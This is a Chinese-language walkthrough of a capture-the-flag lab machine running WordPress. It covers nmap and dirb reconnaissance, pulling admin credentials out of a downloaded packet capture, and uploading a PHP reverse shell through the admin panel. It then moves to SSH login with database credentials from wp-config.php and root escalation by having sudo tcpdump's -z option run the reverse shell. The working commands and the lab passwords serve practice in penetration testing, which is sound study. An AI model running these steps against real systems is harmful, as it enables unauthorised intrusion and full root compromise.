一、主机发现
arp-scan -l
靶机ip为192.168.55.163
二、端口扫描、目录枚举、漏洞扫描、指纹识别
2.1端口扫描
nmap --min-rate 10000 -p- 192.168.55.163
发现并无特殊端口开放
扫描一下UDP端口
nmap -sU --min-rate 10000 -p- 192.168.55.163
没有扫描到UDP端口
2.2目录枚举
dirb http://192.168.55.163
2.3漏洞扫描
nmap --script=vuln -p22,80 192.168.55.163
2.4指纹识别
nmap 192.168.55.163 -sV -sC -O --version-all
三、进入靶机网页进行信息收集,反弹shell
访问靶机页面,经典的wordpress页面
根据刚刚的目录枚举,找到了一个登录框
又发现了一个目录下有文件可以下载
下载后使用wireshark打开
尝试在此数据包中找到管理员登陆的账号和密码
在其中进行过滤:http.request.method=="POST"
成功找到wordpress的账号和密码
webdeveloper
Te5eQg&4sBS!Yr$)wf%(DcAd
成功进入后台
发现可以进行文件上传
将kali自带的反弹shell脚本进行上传
找到刚刚目录枚举出的结果,发现上传的文件目录在http://192.168.55.163/wp-content/uploads/下,进去找到上传的文件,先在kali中监听,然后访问该文件即可成功反弹shell
四、tcpdump提权
将shell升级为交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
4.1靶机内信息收集
寻找sudo命令,发现不能执行sudo命令
寻找suid命令
find / -perm -4000 -print 2>/dev/null
这些命令也都用不了
查找定时任务,发现没有定时任务
接着去靶机的目录下找相关信息
4.2登陆webdeveloper用户
进入/var/www/html目录下,发现wp-config.php文件可以查看
找到了数据库中的账号密码
webdeveloper
MasterOfTheUniverse
使用ssh登陆该用户
ssh webdeveloper@192.168.55.163
4.3tcpdump提权
发现该用户可以使用tcpdump命令
那直接去网站上找相关命令提权即可
cd /tmp
command='php /var/www/html/wp-content/uploads/2025/03/php-reverse-shell.php'
echo "$command" > /tmp/shell
chmod 777 shell
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell -Z root
注:
最后一条命令稍微修改了一下
网络接口 (`-i`参数):网站上的命令使用的是`lo`(本地回环)网络接口进行数据包捕获,而修改的命令(sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root)使用的是`eth0`网络接口进行数据包捕获。`eth0`一般是指物理网卡接口,而`lo`是指本地回环接口,用于本地通信,所以需要进行修改一下再使用
成功提权!